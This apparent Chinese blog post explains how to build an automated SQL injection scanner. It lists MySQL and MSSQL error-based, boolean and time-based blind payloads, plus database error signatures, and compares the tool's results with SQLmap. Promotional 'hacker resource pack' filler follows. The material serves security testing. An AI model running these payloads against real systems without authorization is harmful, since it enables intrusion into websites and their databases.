高效检测 SQL 注入漏洞,自动化实战经验分享,从零基础到精通,收藏这篇就够了!


渗透测试,信息收集是基础,接口信息更是重中之重。面对海量接口,手工测试?那效率不得凉凉!Xray 虽好,但 POST 请求的姿势总感觉差点意思。痛定思痛,不如自己撸一个 SQL 注入检测工具,专治各种 GET、POST 不服。

今天,咱就来扒一扒这个工具的实现逻辑,各位看官老爷觉得有用,可以去信安之路知识星球溜达溜达,文库里有源码,拿去随便折腾。

五步走,SQL 注入它能往哪儿走?

这工具的检测流程,简单粗暴,一共五步:

  1. URL 存活检测: 先确认接口是不是活着,死了的就别浪费感情了。
  2. 基础 + 报错双重奏: 往参数里扔单引号、双引号、括号之类的“佐料”,页面有反应?直接上报错注入的猛料,一探究竟!
# 报错注入,就是要简单粗暴!
error_mysql_payloads = ["extractvalue(1,concat(char(126),md5(1)))", "1/**/and/**/extractvalue(1,concat(char(126),md5(1)))", "'and/**/extractvalue(1,concat(char(126),md5(1)))and'",")/**/AND/**/extractvalue(1,concat(char(126),md5(1)))/**/IN/(1", "')/**/AND/**/extractvalue(1,concat(char(126),md5(1)))/**/IN/('a"]
error_mssql_payloads = ["convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))", "1/**/and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))","'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))>'0", ")/**/and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))/**/in/(1", "')/**/and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))/**/in/('a"]
  1. 数字型参数?减法伺候! ID=101-1 和 ID=100 的结果一样?恭喜,八成有戏!
  2. 布尔注入,真假猴王? and 1=1 走起,payload 如下:
# 布尔注入,看谁能瞒天过海!
bool_common_payload = [["1/**/and+3=3", "1/**/and+3=6"], ["'and'c'='c", "'and'd'='f"], ["%'and'%'='", "%'and'%'='d"]]
  1. 时间盲注,让子弹飞一会儿! 延迟请求,看看时间是不是变长了,payload 如下:
# 时间盲注,拼的就是耐心!
time_common_payload =[["'and(select*from(select+sleep(6))a/**/union/**/select+1)='", "'and(select*from(select+sleep(1))a/**/union/**/select+1)='"], ["(select*from(select+sleep(6)union/**/select+1)a)", "(select*from(select+sleep(1)union/**/select+1)a)"],["/**/and(select+1)>0waitfor/**/delay'0:0:6'/**/", "/**/and(select+1)>0waitfor/**/delay'0:0:1'/**/"], ["'and(select+1)>0waitfor/**/delay'0:0:6", "'and(select+1)>0waitfor/**/delay'0:0:1"]]
避坑指南:那些年,我们一起踩过的坑

实现过程并非一帆风顺,各种幺蛾子层出不穷,最关键的就是如何判断两次请求的页面是否一致,同时还要排除各种干扰因素:

  1. 状态码: 先看状态码是不是一致,这是最基本的。
  2. 错误信息: 报错关键词匹配,不同的数据库,报错信息也不一样。
# 各种数据库的“特色”报错信息
error_mysql_infolist = ["SQL syntax"]
error_mssql_infolist = ["Exception", "SQL Server", "80040e14", "引号不完整"]
error_access_infolist = ["Microsoft JET Database Engine"]
  1. 页面相似度: 用 HTMLSimilarity 计算两次请求的页面相似度,这玩意儿挺好使。
  2. WAF: 遇到 WAF 先怂一波,跳过!
  3. 黑名单参数: PHP 框架里有些参数,比如 method、mod 之类的,就别去瞎折腾了。
# 黑名单,手下留情!
black_parma = ["method", "mod", "s", "act", "Action", "a", "m", "c"]
  1. 黑名单响应码: 除了报错注入,其他检测不应该出现非正常响应。
# 这些响应码,统统拉黑!
black_code = [-1, 0, 404, 403, 500, 503, 405, 999]
骡子是马,拉出来溜溜!

光说不练假把式,接下来就是实战测试环节:

  1. 报错注入:

image-20250218104104036

只要能执行 md5 函数,就直接判定存在漏洞,简单粗暴!

  1. 数字注入:

image-20250218102055907

image-20250218102129101

这波操作,脚本只检测出数字注入,SQLmap 却发现了布尔注入。看来 payload 还有待优化啊!

  1. 布尔注入:

image-20250218104814534

image-20250218104841004

这次脚本和 SQLmap 的结果一致,都只检测出了布尔注入。

  1. 时间盲注:

image-20250218103736843

image-20250218103849149

又翻车了!脚本只检测到时间盲注,SQLmap 却发现了布尔注入。看来优化之路漫漫啊!

总结:手搓工具,且行且珍惜

总的来说,这个手搓的 SQL 注入检测工具还有很大的提升空间。和 SQLmap 相比,在检测的全面性上还有差距。不过,自己动手丰衣足食,未来还会不断优化,让它在实战中发挥更大的作用。

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值